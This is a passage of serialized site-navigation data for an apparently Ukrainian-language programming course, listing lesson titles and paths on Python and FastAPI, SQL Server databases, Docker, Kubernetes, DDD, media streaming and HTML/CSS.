додатків","\u002Fjava\u002Fpr2\u002Fatlantafx-modern-themes","04.java\u002Fpr2\u002F35.atlantafx-modern-themes",{"title":2690,"path":2691,"stem":2692},"Пакування та розповсюдження JavaFX-додатків","\u002Fjava\u002Fpr2\u002Fjar-packaging-distribution","04.java\u002Fpr2\u002F36.jar-packaging-distribution",{"title":2694,"icon":2695,"path":2696,"stem":2697,"children":2698,"page":59},"Python","i-devicon-python","\u002Fpython","05.python",[2699,2703,2706,2710,2714,2718,2722,2726,2730,2734,2738,2742,2746,2750,2754,2815],{"title":2700,"path":2701,"stem":2702},"Модулі, Пакети та Віртуальні Середовища","\u002Fpython\u002Fmodules-packages-venv","05.python\u002F00.modules-packages-venv",{"title":71,"path":2704,"stem":2705},"\u002Fpython\u002Fclasses-objects","05.python\u002F01.classes-objects",{"title":2707,"path":2708,"stem":2709},"Інкапсуляція, Керування Доступом та Властивості","\u002Fpython\u002Fencapsulation","05.python\u002F02.encapsulation",{"title":2711,"path":2712,"stem":2713},"Наслідування, MRO та суперсила super()","\u002Fpython\u002Finheritance-mro","05.python\u002F03.inheritance-mro",{"title":2715,"path":2716,"stem":2717},"Абстракція — ABC проти Статичних Протоколів (PEP 544)","\u002Fpython\u002Fabstraction-protocols","05.python\u002F04.abstraction-protocols",{"title":2719,"path":2720,"stem":2721},"Магічні методи (Dunder) та Емуляція протоколів","\u002Fpython\u002Fdunder-methods","05.python\u002F05.dunder-methods",{"title":2723,"path":2724,"stem":2725},"Декоратори та Керування життєвим циклом методів","\u002Fpython\u002Fdecorators-static-class","05.python\u002F06.decorators-static-class",{"title":2727,"path":2728,"stem":2729},"Дескриптори — Магія доступу до атрибутів","\u002Fpython\u002Fdescriptors","05.python\u002F07.descriptors",{"title":2731,"path":2732,"stem":2733},"Метакласи — Динамічне створення класів під капотом CPython","\u002Fpython\u002Fmetaclasses","05.python\u002F08.metaclasses",{"title":2735,"path":2736,"stem":2737},"Dataclasses, NamedTuple та сучасні контейнери Python","\u002Fpython\u002Fmodern-containers","05.python\u002F09.modern-containers",{"title":2739,"path":2740,"stem":2741},"GIL та модель конкурентності CPython — фундамент перед потоками і процесами","\u002Fpython\u002Fgil-concurrency-intro","05.python\u002F11.gil-concurrency-intro",{"title":2743,"path":2744,"stem":2745},"Threading — конкурентність для I\u002FO-bound задач","\u002Fpython\u002Fthreading","05.python\u002F12.threading",{"title":2747,"path":2748,"stem":2749},"Multiprocessing — справжній паралелізм для CPU-bound задач","\u002Fpython\u002Fmultiprocessing","05.python\u002F13.multiprocessing",{"title":2751,"path":2752,"stem":2753},"asyncio — кооперативна конкурентність та event loop","\u002Fpython\u002Fasyncio","05.python\u002F14.asyncio",{"title":2755,"icon":92,"path":2756,"stem":2757,"children":2758,"page":59},"FastAPI","\u002Fpython\u002Ffastapi","05.python\u002Ffastapi",[2759,2763,2767,2771,2775,2779,2783,2787,2791,2795,2799,2803,2807,2811],{"title":2760,"path":2761,"stem":2762},"Глибокий Typing та Pydantic v2 — від анотацій до валідації","\u002Fpython\u002Ffastapi\u002Ftyping-pydantic","05.python\u002Ffastapi\u002F15.typing-pydantic",{"title":2764,"path":2765,"stem":2766},"WSGI, ASGI та Python Web-екосистема","\u002Fpython\u002Ffastapi\u002Fwsgi-asgi-ecosystem","05.python\u002Ffastapi\u002F16.wsgi-asgi-ecosystem",{"title":2768,"path":2769,"stem":2770},"FastAPI: Перший додаток, Uvicorn та OpenAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-intro","05.python\u002Ffastapi\u002F17.fastapi-intro",{"title":2772,"path":2773,"stem":2774},"Маршрутизація, параметри запитів та APIRouter","\u002Fpython\u002Ffastapi\u002Ffastapi-routing-params","05.python\u002Ffastapi\u002F18.fastapi-routing-params",{"title":2776,"path":2777,"stem":2778},"Pydantic v2 у FastAPI — схеми, валідація та серіалізація","\u002Fpython\u002Ffastapi\u002Ffastapi-pydantic-schemas","05.python\u002Ffastapi\u002F19.fastapi-pydantic-schemas",{"title":2780,"path":2781,"stem":2782},"Dependency Injection — серце архітектури FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-dependency-injection","05.python\u002Ffastapi\u002F20.fastapi-dependency-injection",{"title":2784,"path":2785,"stem":2786},"Обробка помилок, Middleware та CORS у FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-errors-middleware","05.python\u002Ffastapi\u002F21.fastapi-errors-middleware",{"title":2788,"path":2789,"stem":2790},"SQLAlchemy 2.0 — ORM, Core та Async Engine","\u002Fpython\u002Ffastapi\u002Fsqlalchemy-orm","05.python\u002Ffastapi\u002F22.sqlalchemy-orm",{"title":2792,"path":2793,"stem":2794},"Alembic — міграції бази даних","\u002Fpython\u002Ffastapi\u002Falembic-migrations","05.python\u002Ffastapi\u002F23.alembic-migrations",{"title":2796,"path":2797,"stem":2798},"Repository Pattern та Clean Architecture у FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-repository-clean-arch","05.python\u002Ffastapi\u002F24.fastapi-repository-clean-arch",{"title":2800,"path":2801,"stem":2802},"Автентифікація та авторизація — JWT, OAuth2, RBAC","\u002Fpython\u002Ffastapi\u002Ffastapi-auth-security","05.python\u002Ffastapi\u002F25.fastapi-auth-security",{"title":2804,"path":2805,"stem":2806},"Тестування FastAPI — pytest, httpx, fixtures","\u002Fpython\u002Ffastapi\u002Ffastapi-testing","05.python\u002Ffastapi\u002F26.fastapi-testing",{"title":2808,"path":2809,"stem":2810},"Async на повну — Background Tasks, WebSockets, SSE та Celery","\u002Fpython\u002Ffastapi\u002Ffastapi-async-advanced","05.python\u002Ffastapi\u002F27.fastapi-async-advanced",{"title":2812,"path":2813,"stem":2814},"Deployment — Docker, CI\u002FCD, Monitoring","\u002Fpython\u002Ffastapi\u002Ffastapi-deployment","05.python\u002Ffastapi\u002F28.fastapi-deployment",{"title":2816,"path":2817,"stem":2818},"[object Object]","\u002Fpython\u002Foop-plan","05.python\u002Foop-plan",{"title":2820,"icon":2821,"path":2822,"stem":2823,"children":2824,"page":59},"Бази даних","i-lucide-database","\u002Fdatabases","06.databases",[2825,2855,2878,2915,2944,2962,2996,3008,3017],{"title":2826,"icon":2827,"path":2828,"stem":2829,"children":2830,"page":59},"Intro","i-lucide-play","\u002Fdatabases\u002Fintro","06.databases\u002F01.intro",[2831,2835,2839,2843,2847,2851],{"title":2832,"path":2833,"stem":2834},"Введення в теорію баз даних","\u002Fdatabases\u002Fintro\u002Fintroduction-to-databases","06.databases\u002F01.intro\u002F01.introduction-to-databases",{"title":2836,"path":2837,"stem":2838},"Реляційна модель даних","\u002Fdatabases\u002Fintro\u002Frelational-model-theory","06.databases\u002F01.intro\u002F02.relational-model-theory",{"title":2840,"path":2841,"stem":2842},"ER-моделювання","\u002Fdatabases\u002Fintro\u002Fer-modeling","06.databases\u002F01.intro\u002F03.er-modeling",{"title":2844,"path":2845,"stem":2846},"Логічне проектування БД","\u002Fdatabases\u002Fintro\u002Flogical-schema","06.databases\u002F01.intro\u002F04.logical-schema",{"title":2848,"path":2849,"stem":2850},"Класифікація таблиць","\u002Fdatabases\u002Fintro\u002Ftable-classification","06.databases\u002F01.intro\u002F05.table-classification",{"title":2852,"path":2853,"stem":2854},"PlantUML для баз даних","\u002Fdatabases\u002Fintro\u002Fplantuml-diagrams","06.databases\u002F01.intro\u002F06.plantuml-diagrams",{"title":2856,"icon":2821,"path":2857,"stem":2858,"children":2859,"page":59},"MS SQL Server Start","\u002Fdatabases\u002Fms-sql-server-start","06.databases\u002F02.ms-sql-server-start",[2860,2864,2870,2874],{"title":2861,"path":2862,"stem":2863},"Типи даних у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fdata-types","06.databases\u002F02.ms-sql-server-start\u002F01.data-types",{"title":2865,"path":2866,"stem":2867,"children":2868},"Індекси у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-indexes","06.databases\u002F02.ms-sql-server-start\u002F02.sql-indexes",[2869],{"title":2865,"path":2866,"stem":2867},{"title":2871,"path":2872,"stem":2873},"Системні бази даних MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsystem-databases","06.databases\u002F02.ms-sql-server-start\u002F03.system-databases",{"title":2875,"path":2876,"stem":2877},"Огляд мови SQL та запитів","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-queries-overview","06.databases\u002F02.ms-sql-server-start\u002F04.sql-queries-overview",{"title":2879,"icon":2821,"path":2880,"stem":2881,"children":2882,"page":59},"SQL","\u002Fdatabases\u002Fsql","06.databases\u002F03.sql",[2883,2887,2891,2895,2899,2903,2907,2911],{"title":2884,"path":2885,"stem":2886},"Налаштування демонстраційної бази даних","\u002Fdatabases\u002Fsql\u002Fsample-database-setup","06.databases\u002F03.sql\u002F00.sample-database-setup",{"title":2888,"path":2889,"stem":2890},"DDL - Створення таблиць (CREATE TABLE)","\u002Fdatabases\u002Fsql\u002Fddl-create-table","06.databases\u002F03.sql\u002F01.ddl-create-table",{"title":2892,"path":2893,"stem":2894},"DDL - Зміна та видалення таблиць (ALTER, DROP)","\u002Fdatabases\u002Fsql\u002Fddl-alter-drop-table","06.databases\u002F03.sql\u002F02.ddl-alter-drop-table",{"title":2896,"path":2897,"stem":2898},"SELECT запити - Основи","\u002Fdatabases\u002Fsql\u002Fselect-queries-fundamentals","06.databases\u002F03.sql\u002F03.select-queries-fundamentals",{"title":2900,"path":2901,"stem":2902},"SELECT запити - Розширені можливості","\u002Fdatabases\u002Fsql\u002Fselect-queries-advanced","06.databases\u002F03.sql\u002F04.select-queries-advanced",{"title":2904,"path":2905,"stem":2906},"INSERT запити - Додавання даних","\u002Fdatabases\u002Fsql\u002Finsert-queries","06.databases\u002F03.sql\u002F05.insert-queries",{"title":2908,"path":2909,"stem":2910},"UPDATE та DELETE запити","\u002Fdatabases\u002Fsql\u002Fupdate-delete-queries","06.databases\u002F03.sql\u002F06.update-delete-queries",{"title":2912,"path":2913,"stem":2914},"Транзакції в SQL","\u002Fdatabases\u002Fsql\u002Ftransactions","06.databases\u002F03.sql\u002F07.transactions",{"title":2916,"icon":2821,"path":2917,"stem":2918,"children":2919,"page":59},"Multi Table Databases","\u002Fdatabases\u002Fmulti-table-databases","06.databases\u002F04.multi-table-databases",[2920,2924,2928,2932,2936,2940],{"title":2921,"path":2922,"stem":2923},"Зв'язки та нормалізація БД","\u002Fdatabases\u002Fmulti-table-databases\u002Frelationships-and-normalization","06.databases\u002F04.multi-table-databases\u002F00.relationships-and-normalization",{"title":2925,"path":2926,"stem":2927},"INNER JOIN - З'єднання таблиць","\u002Fdatabases\u002Fmulti-table-databases\u002Finner-join","06.databases\u002F04.multi-table-databases\u002F01.inner-join",{"title":2929,"path":2930,"stem":2931},"OUTER JOINs - LEFT, RIGHT, FULL","\u002Fdatabases\u002Fmulti-table-databases\u002Fouter-joins","06.databases\u002F04.multi-table-databases\u002F02.outer-joins",{"title":2933,"path":2934,"stem":2935},"CROSS та SELF JOINs","\u002Fdatabases\u002Fmulti-table-databases\u002Fcross-self-joins","06.databases\u002F04.multi-table-databases\u002F03.cross-self-joins",{"title":2937,"path":2938,"stem":2939},"Підзапити (Subqueries)","\u002Fdatabases\u002Fmulti-table-databases\u002Fsubqueries","06.databases\u002F04.multi-table-databases\u002F04.subqueries",{"title":2941,"path":2942,"stem":2943},"Агрегації з JOIN","\u002Fdatabases\u002Fmulti-table-databases\u002Faggregations-with-joins","06.databases\u002F04.multi-table-databases\u002F05.aggregations-with-joins",{"title":2945,"icon":2946,"path":2947,"stem":2948,"children":2949,"page":59},"Aggregate Functions","i-lucide-calculator","\u002Fdatabases\u002Faggregate-functions","06.databases\u002F05.aggregate-functions",[2950,2954,2958],{"title":2951,"path":2952,"stem":2953},"Функції агрегування в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fintroduction-aggregate-functions","06.databases\u002F05.aggregate-functions\u002F01.introduction-aggregate-functions",{"title":2955,"path":2956,"stem":2957},"Групування даних в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fgrouping-data","06.databases\u002F05.aggregate-functions\u002F02.grouping-data",{"title":2959,"path":2960,"stem":2961},"Підзапити з агрегатними функціями","\u002Fdatabases\u002Faggregate-functions\u002Fsubqueries-aggregates","06.databases\u002F05.aggregate-functions\u002F03.subqueries-aggregates",{"title":2963,"icon":2964,"path":2965,"stem":2966,"children":2967,"page":59},"Тригери та зберігаємі процедури","i-lucide-database-zap","\u002Fdatabases\u002Ftriggers-stored-procedures","06.databases\u002F07.triggers-stored-procedures",[2968,2972,2976,2980,2984,2988,2992],{"title":2969,"path":2970,"stem":2971},"DML-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fdml-triggers","06.databases\u002F07.triggers-stored-procedures\u002F01.dml-triggers",{"title":2973,"path":2974,"stem":2975},"DDL-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fddl-triggers","06.databases\u002F07.triggers-stored-procedures\u002F02.ddl-triggers",{"title":2977,"path":2978,"stem":2979},"Transact-SQL розширення","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransact-sql-extensions","06.databases\u002F07.triggers-stored-procedures\u002F03.transact-sql-extensions",{"title":2981,"path":2982,"stem":2983},"Транзакції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransactions","06.databases\u002F07.triggers-stored-procedures\u002F04.transactions",{"title":2985,"path":2986,"stem":2987},"Зберігаємі процедури","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fstored-procedures","06.databases\u002F07.triggers-stored-procedures\u002F05.stored-procedures",{"title":2989,"path":2990,"stem":2991},"Користувацькі функції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fuser-defined-functions","06.databases\u002F07.triggers-stored-procedures\u002F06.user-defined-functions",{"title":2993,"path":2994,"stem":2995},"Безпека баз даних","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fsecurity","06.databases\u002F07.triggers-stored-procedures\u002F08.security",{"title":2993,"icon":793,"path":2997,"stem":2998,"children":2999,"page":59},"\u002Fdatabases\u002Fsecurity","06.databases\u002F08.security",[3000,3004],{"title":3001,"path":3002,"stem":3003},"Вступ до безпеки баз даних","\u002Fdatabases\u002Fsecurity\u002Fintroduction","06.databases\u002F08.security\u002F01.introduction",{"title":3005,"path":3006,"stem":3007},"Системні представлення та метадані","\u002Fdatabases\u002Fsecurity\u002Fsystem-views","06.databases\u002F08.security\u002F02.system-views",{"title":3009,"icon":3010,"path":3011,"stem":3012,"children":3013,"page":59},"Резервне копіювання та відновлення","i-lucide-database-backup","\u002Fdatabases\u002Fbackup-recovery","06.databases\u002F09.backup-recovery",[3014],{"title":3009,"path":3015,"stem":3016},"\u002Fdatabases\u002Fbackup-recovery\u002Fbackup-restore","06.databases\u002F09.backup-recovery\u002F01.backup-restore",{"title":3018,"icon":3019,"path":3020,"stem":3021,"children":3022,"page":59},"Повнотекстовий пошук","i-lucide-search","\u002Fdatabases\u002Ffull-text-search","06.databases\u002F10.full-text-search",[3023],{"title":3018,"path":3024,"stem":3025},"\u002Fdatabases\u002Ffull-text-search\u002Ffull-text-search","06.databases\u002F10.full-text-search\u002F01.full-text-search",{"title":3027,"icon":3028,"path":3029,"stem":3030,"children":3031,"page":59},"Tools","i-lucide-wrench","\u002Ftools","07.tools",[3032,3108],{"title":3033,"icon":3034,"path":3035,"stem":3036,"children":3037},"Docker","i-simple-icons-docker","\u002Ftools\u002Fdocker","07.tools\u002F01.docker\u002Findex",[3038,3040,3044,3048,3052,3056,3060,3064,3068,3072,3076,3080,3084,3088,3092,3096,3100,3104],{"title":3039,"path":3035,"stem":3036},"Docker: від нуля до production",{"title":3041,"path":3042,"stem":3043},"Контейнеризація — від проблеми до рішення","\u002Ftools\u002Fdocker\u002Fcontainerization-concept","07.tools\u002F01.docker\u002F01.containerization-concept",{"title":3045,"path":3046,"stem":3047},"Docker — що це і навіщо?","\u002Ftools\u002Fdocker\u002Fdocker-what-and-why","07.tools\u002F01.docker\u002F02.docker-what-and-why",{"title":3049,"path":3050,"stem":3051},"Архітектура Docker Engine","\u002Ftools\u002Fdocker\u002Fdocker-architecture","07.tools\u002F01.docker\u002F03.docker-architecture",{"title":3053,"path":3054,"stem":3055},"Встановлення Docker","\u002Ftools\u002Fdocker\u002Finstallation","07.tools\u002F01.docker\u002F04.installation",{"title":3057,"path":3058,"stem":3059},"Перший контейнер — docker run","\u002Ftools\u002Fdocker\u002Ffirst-container","07.tools\u002F01.docker\u002F05.first-container",{"title":3061,"path":3062,"stem":3063},"Життєвий цикл контейнера","\u002Ftools\u002Fdocker\u002Fcontainer-lifecycle","07.tools\u002F01.docker\u002F06.container-lifecycle",{"title":3065,"path":3066,"stem":3067},"Docker Images — фундаментальні концепції","\u002Ftools\u002Fdocker\u002Fdocker-images-fundamentals","07.tools\u002F01.docker\u002F07.docker-images-fundamentals",{"title":3069,"path":3070,"stem":3071},"Dockerfile — основи","\u002Ftools\u002Fdocker\u002Fdockerfile-basics","07.tools\u002F01.docker\u002F08.dockerfile-basics",{"title":3073,"path":3074,"stem":3075},"Dockerfile — просунуті техніки","\u002Ftools\u002Fdocker\u002Fdockerfile-advanced","07.tools\u002F01.docker\u002F09.dockerfile-advanced",{"title":3077,"path":3078,"stem":3079},"Build Context та кешування шарів","\u002Ftools\u002Fdocker\u002Fbuild-context-and-cache","07.tools\u002F01.docker\u002F10.build-context-and-cache",{"title":3081,"path":3082,"stem":3083},"Реєстри Docker-образів","\u002Ftools\u002Fdocker\u002Fimage-registries","07.tools\u002F01.docker\u002F11.image-registries",{"title":3085,"path":3086,"stem":3087},"Контейнеризація .NET додатків","\u002Ftools\u002Fdocker\u002Fdotnet-containerization","07.tools\u002F01.docker\u002F12.dotnet-containerization",{"title":3089,"path":3090,"stem":3091},"Томи та збереження даних","\u002Ftools\u002Fdocker\u002Fvolumes-and-data","07.tools\u002F01.docker\u002F13.volumes-and-data",{"title":3093,"path":3094,"stem":3095},"Основи мережі в Docker","\u002Ftools\u002Fdocker\u002Fnetworking-basics","07.tools\u002F01.docker\u002F14.networking-basics",{"title":3097,"path":3098,"stem":3099},"Змінні оточення та конфігурація","\u002Ftools\u002Fdocker\u002Fenvironment-and-configuration","07.tools\u002F01.docker\u002F15.environment-and-configuration",{"title":3101,"path":3102,"stem":3103},"Docker Compose — оркестрація контейнерів","\u002Ftools\u002Fdocker\u002Fdocker-compose-basics","07.tools\u002F01.docker\u002F16.docker-compose-basics",{"title":3105,"path":3106,"stem":3107},"Docker Compose — Multi-Service застосунки","\u002Ftools\u002Fdocker\u002Fcompose-multi-service","07.tools\u002F01.docker\u002F17.compose-multi-service",{"title":3109,"icon":3110,"path":3111,"stem":3112,"children":3113},"Kubernetes","simple-icons:kubernetes","\u002Ftools\u002Fkubernetes","07.tools\u002F02.kubernetes\u002Findex",[3114,3116,3120,3124,3128,3132,3136,3140,3144],{"title":3115,"path":3111,"stem":3112},"Kubernetes: від розробки до production",{"title":3117,"path":3118,"stem":3119},"Kubernetes — коли Docker Compose більше не вистачає","\u002Ftools\u002Fkubernetes\u002Fwhy-kubernetes","07.tools\u002F02.kubernetes\u002F01.why-kubernetes",{"title":3121,"path":3122,"stem":3123},"Архітектура Kubernetes — анатомія кластера","\u002Ftools\u002Fkubernetes\u002Fkubernetes-architecture","07.tools\u002F02.kubernetes\u002F02.kubernetes-architecture",{"title":3125,"path":3126,"stem":3127},"Локальне середовище — minikube, kind та k3s","\u002Ftools\u002Fkubernetes\u002Flocal-environment","07.tools\u002F02.kubernetes\u002F03.local-environment",{"title":3129,"path":3130,"stem":3131},"Pod — атомарна одиниця Kubernetes","\u002Ftools\u002Fkubernetes\u002Fpods-and-containers","07.tools\u002F02.kubernetes\u002F04.pods-and-containers",{"title":3133,"path":3134,"stem":3135},"Патерни використання Pod","\u002Ftools\u002Fkubernetes\u002Fpod-patterns","07.tools\u002F02.kubernetes\u002F05.pod-patterns",{"title":3137,"path":3138,"stem":3139},"Deployment — декларативне управління Pod","\u002Ftools\u002Fkubernetes\u002Fdeployment-basics","07.tools\u002F02.kubernetes\u002F06.deployment-basics",{"title":3141,"path":3142,"stem":3143},"Rolling Updates та управління життєвим циклом Deployment","\u002Ftools\u002Fkubernetes\u002Fdeployment-rolling-updates","07.tools\u002F02.kubernetes\u002F07.deployment-rolling-updates",{"title":3145,"path":3146,"stem":3147},"Service — мережева абстракція для Pod","\u002Ftools\u002Fkubernetes\u002Fservices-networking","07.tools\u002F02.kubernetes\u002F08.services-networking",{"title":3149,"icon":3150,"path":3151,"stem":3152,"children":3153,"page":59},"Software Engineering","i-lucide-code-2","\u002Fsoftware-engineering","09.software-engineering",[3154,3158,3162,3166,3170,3174,3178,3182,3186,3190,3194],{"title":3155,"path":3156,"stem":3157},"1. Аналіз предметної області. Експертні знання та складність","\u002Fsoftware-engineering\u002Fintro-subdomains","09.software-engineering\u002F01.intro-subdomains",{"title":3159,"path":3160,"stem":3161},"2. Обмежені контексти. Інтеграція обмежених контекстів","\u002Fsoftware-engineering\u002Fintegrating-limited-contexts","09.software-engineering\u002F02.integrating-limited-contexts",{"title":3163,"path":3164,"stem":3165},"3. Реалізація простої бізнес-логіки","\u002Fsoftware-engineering\u002Fsimple","09.software-engineering\u002F03.simple",{"title":3167,"path":3168,"stem":3169},"4. Опрацювання складної бізнес-логіки","\u002Fsoftware-engineering\u002Fcomplex-business-logic","09.software-engineering\u002F04.complex-business-logic",{"title":3171,"path":3172,"stem":3173},"5. Моделювання фактора часу. Подієво-орієнтована архітектура.","\u002Fsoftware-engineering\u002Fmodelling-the-time-factor","09.software-engineering\u002F05.modelling-the-time-factor",{"title":3175,"path":3176,"stem":3177},"6. Архітектурні патерни","\u002Fsoftware-engineering\u002Farchitectural-patterns","09.software-engineering\u002F06.architectural-patterns",{"title":3179,"path":3180,"stem":3181},"Паттерни взаємодії","\u002Fsoftware-engineering\u002Fpatterns-of-interaction","09.software-engineering\u002F07.patterns-of-interaction",{"title":3183,"path":3184,"stem":3185},"Евристика проєктування","\u002Fsoftware-engineering\u002Fdesign-heuristics","09.software-engineering\u002F08.design-heuristics",{"title":3187,"path":3188,"stem":3189},"Еволюція проєктних рішень","\u002Fsoftware-engineering\u002Fevolution-of-design-solutions","09.software-engineering\u002F09.evolution-of-design-solutions",{"title":3191,"path":3192,"stem":3193},"EventStorming","\u002Fsoftware-engineering\u002Feventstorming","09.software-engineering\u002F10.eventstorming",{"title":3195,"path":3196,"stem":3197},"DDD на практиці","\u002Fsoftware-engineering\u002Fddd-in-practice","09.software-engineering\u002F11.ddd-in-practice",{"title":3199,"icon":943,"path":3200,"stem":3201,"children":3202,"page":59},"DDD","\u002Fddd","10.ddd",[3203,3207,3211,3215,3219,3223,3227,3231,3235,3239,3243,3247,3251],{"title":3204,"path":3205,"stem":3206},"Аналіз предметної області","\u002Fddd\u002Fdomain-analysis","10.ddd\u002F01.domain-analysis",{"title":3208,"path":3209,"stem":3210},"Експертні знання про предметну область","\u002Fddd\u002Fdomain-expert-knowledge","10.ddd\u002F02.domain-expert-knowledge",{"title":3212,"path":3213,"stem":3214},"Як осмислити складність предметної області","\u002Fddd\u002Fmanaging-domain-complexity","10.ddd\u002F03.managing-domain-complexity",{"title":3216,"path":3217,"stem":3218},"Інтеграція обмежених контекстів","\u002Fddd\u002Fbounded-context-integration","10.ddd\u002F04.bounded-context-integration",{"title":3220,"path":3221,"stem":3222},"Реалізація простої бізнес-логіки","\u002Fddd\u002Fsimple-business-logic","10.ddd\u002F05.simple-business-logic",{"title":3224,"path":3225,"stem":3226},"Обробка складної бізнес-логіки","\u002Fddd\u002Fcomplex-business-logic","10.ddd\u002F06.complex-business-logic",{"title":3228,"path":3229,"stem":3230},"Моделювання фактора часу","\u002Fddd\u002Ftime-modeling","10.ddd\u002F07.time-modeling",{"title":3232,"path":3233,"stem":3234},"Глава 8. Архітектурні Патерни","\u002Fddd\u002Farchitectural-patterns","10.ddd\u002F08.architectural-patterns",{"title":3236,"path":3237,"stem":3238},"Глава 9. Патерни Взаємодії","\u002Fddd\u002Finteraction-patterns","10.ddd\u002F09.interaction-patterns",{"title":3240,"path":3241,"stem":3242},"Глава 10. Проектні Евристики","\u002Fddd\u002Fdesign-heuristics","10.ddd\u002F10.design-heuristics",{"title":3244,"path":3245,"stem":3246},"Глава 11. Еволюція Проектних Рішень","\u002Fddd\u002Fevolution-of-design-decisions","10.ddd\u002F11.evolution-of-design-decisions",{"title":3248,"path":3249,"stem":3250},"Глава 12. EventStorming","\u002Fddd\u002Fevent-storming","10.ddd\u002F12.event-storming",{"title":3252,"path":3253,"stem":3254},"Глава 13. DDD на Практиці","\u002Fddd\u002Fddd-in-practice","10.ddd\u002F13.ddd-in-practice",{"title":3256,"icon":3257,"path":3258,"stem":3259,"children":3260,"page":59},"Media Streaming","i-lucide-video","\u002Fmedia-streaming","11.media-streaming",[3261,3265,3269,3273,3277,3281,3285],{"title":3262,"path":3263,"stem":3264},"01. Магія Стрімінгу: Що відбувається, коли ви натискаєте \"Play\"","\u002Fmedia-streaming\u002Fintroduction","11.media-streaming\u002F01.introduction",{"title":3266,"path":3267,"stem":3268},"02. Анатомія Медіа: Кодеки, Контейнери та Стиснення","\u002Fmedia-streaming\u002Faudio-video-anatomy","11.media-streaming\u002F02.audio-video-anatomy",{"title":3270,"path":3271,"stem":3272},"03. The Gym: FFmpeg Deep Dive","\u002Fmedia-streaming\u002Fffmpeg-gym","11.media-streaming\u002F03.ffmpeg-gym",{"title":3274,"path":3275,"stem":3276},"04. HLS Protocol: HTTP Live Streaming у Деталях","\u002Fmedia-streaming\u002Fhls-protocol","11.media-streaming\u002F04.hls-protocol",{"title":3278,"path":3279,"stem":3280},"05. DASH Protocol: Відкритий Стандарт","\u002Fmedia-streaming\u002Fdash-protocol","11.media-streaming\u002F05.dash-protocol",{"title":3282,"path":3283,"stem":3284},"06. Масштабування: CDN та Adaptive Bitrate","\u002Fmedia-streaming\u002Fcdn-and-adaptive-bitrate","11.media-streaming\u002F06.cdn-and-adaptive-bitrate",{"title":3286,"path":3287,"stem":3288},"07. Війна із Затримкою (Latency)","\u002Fmedia-streaming\u002Frealtime-latency","11.media-streaming\u002F07.realtime-latency",{"title":3290,"icon":3291,"path":3292,"stem":3293,"children":3294,"page":59},"HTML & CSS","i-devicon-html5","\u002Fhtml-css","12.html-css",[3295,3299,3303,3307,3311,3315,3319,3323,3327,3331,3335,3339,3343,3347,3351,3355,3359,3363,3367,3371,3375,3379,3383,3387,3391,3395,3399,3403,3407,3411],{"title":3296,"path":3297,"stem":3298},"Вступ до HTML. Структура документа","\u002Fhtml-css\u002Fintro-html-structure","12.html-css\u002F01.intro-html-structure",{"title":3300,"path":3301,"stem":3302},"Форматування тексту в HTML","\u002Fhtml-css\u002Fhtml-text-formatting","12.html-css\u002F02.html-text-formatting",{"title":3304,"path":3305,"stem":3306},"Посилання та зображення в HTML","\u002Fhtml-css\u002Fhtml-links-images","12.html-css\u002F03.html-links-images",{"title":3308,"path":3309,"stem":3310},"Списки та таблиці в HTML","\u002Fhtml-css\u002Fhtml-lists-tables","12.html-css\u002F04.html-lists-tables",{"title":3312,"path":3313,"stem":3314},"Форми в HTML","\u002Fhtml-css\u002Fhtml-forms","12.html-css\u002F05.html-forms",{"title":3316,"path":3317,"stem":3318},"Семантичні елементи HTML5","\u002Fhtml-css\u002Fhtml-semantic-elements","12.html-css\u002F06.html-semantic-elements",{"title":3320,"path":3321,"stem":3322},"Мультимедіа та розширені елементи HTML","\u002Fhtml-css\u002Fhtml-multimedia-advanced","12.html-css\u002F07.html-multimedia-advanced",{"title":3324,"path":3325,"stem":3326},"Мікророзмітка та SEO в HTML","\u002Fhtml-css\u002Fhtml-microdata-seo","12.html-css\u002F08.html-microdata-seo",{"title":3328,"path":3329,"stem":3330},"Вступ до CSS. Селектори та специфічність","\u002Fhtml-css\u002Fcss-intro-selectors","12.html-css\u002F09.css-intro-selectors",{"title":3332,"path":3333,"stem":3334},"Блокова модель CSS. Відступи. Box Sizing","\u002Fhtml-css\u002Fcss-box-model","12.html-css\u002F10.css-box-model",{"title":3336,"path":3337,"stem":3338},"Розміри у CSS: повний довідник одиниць і ключових слів","\u002Fhtml-css\u002F10a.css-sizing","12.html-css\u002F10a.css-sizing",{"title":3340,"path":3341,"stem":3342},"Типографіка в CSS. Шрифти та текст","\u002Fhtml-css\u002Fcss-typography","12.html-css\u002F11.css-typography",{"title":3344,"path":3345,"stem":3346},"Кольори та фони в CSS","\u002Fhtml-css\u002Fcss-colors-backgrounds","12.html-css\u002F12.css-colors-backgrounds",{"title":3348,"path":3349,"stem":3350},"Тіні та фільтри в CSS","\u002Fhtml-css\u002F12b.css-shadows-filters","12.html-css\u002F12b.css-shadows-filters",{"title":3352,"path":3353,"stem":3354},"CSS Flexbox: Фундамент гнучких макетів","\u002Fhtml-css\u002Fcss-flexbox-fundamentals","12.html-css\u002F13.css-flexbox-fundamentals",{"title":3356,"path":3357,"stem":3358},"CSS Flexbox: Вирівнювання та Позиціонування","\u002Fhtml-css\u002Fcss-flexbox-alignment-sizing-and-patterns","12.html-css\u002F14.css-flexbox-alignment-sizing-and-patterns",{"title":3360,"path":3361,"stem":3362},"CSS Grid. Двовимірний макет. Частина 1","\u002Fhtml-css\u002Fcss-layout-grid","12.html-css\u002F15.css-layout-grid",{"title":3364,"path":3365,"stem":3366},"CSS Grid. Двовимірний макет. Частина 2","\u002Fhtml-css\u002Fcss-layout-grid-advanced","12.html-css\u002F16.css-layout-grid-advanced",{"title":3368,"path":3369,"stem":3370},"Позиціонування в CSS. Z-index. Stacking 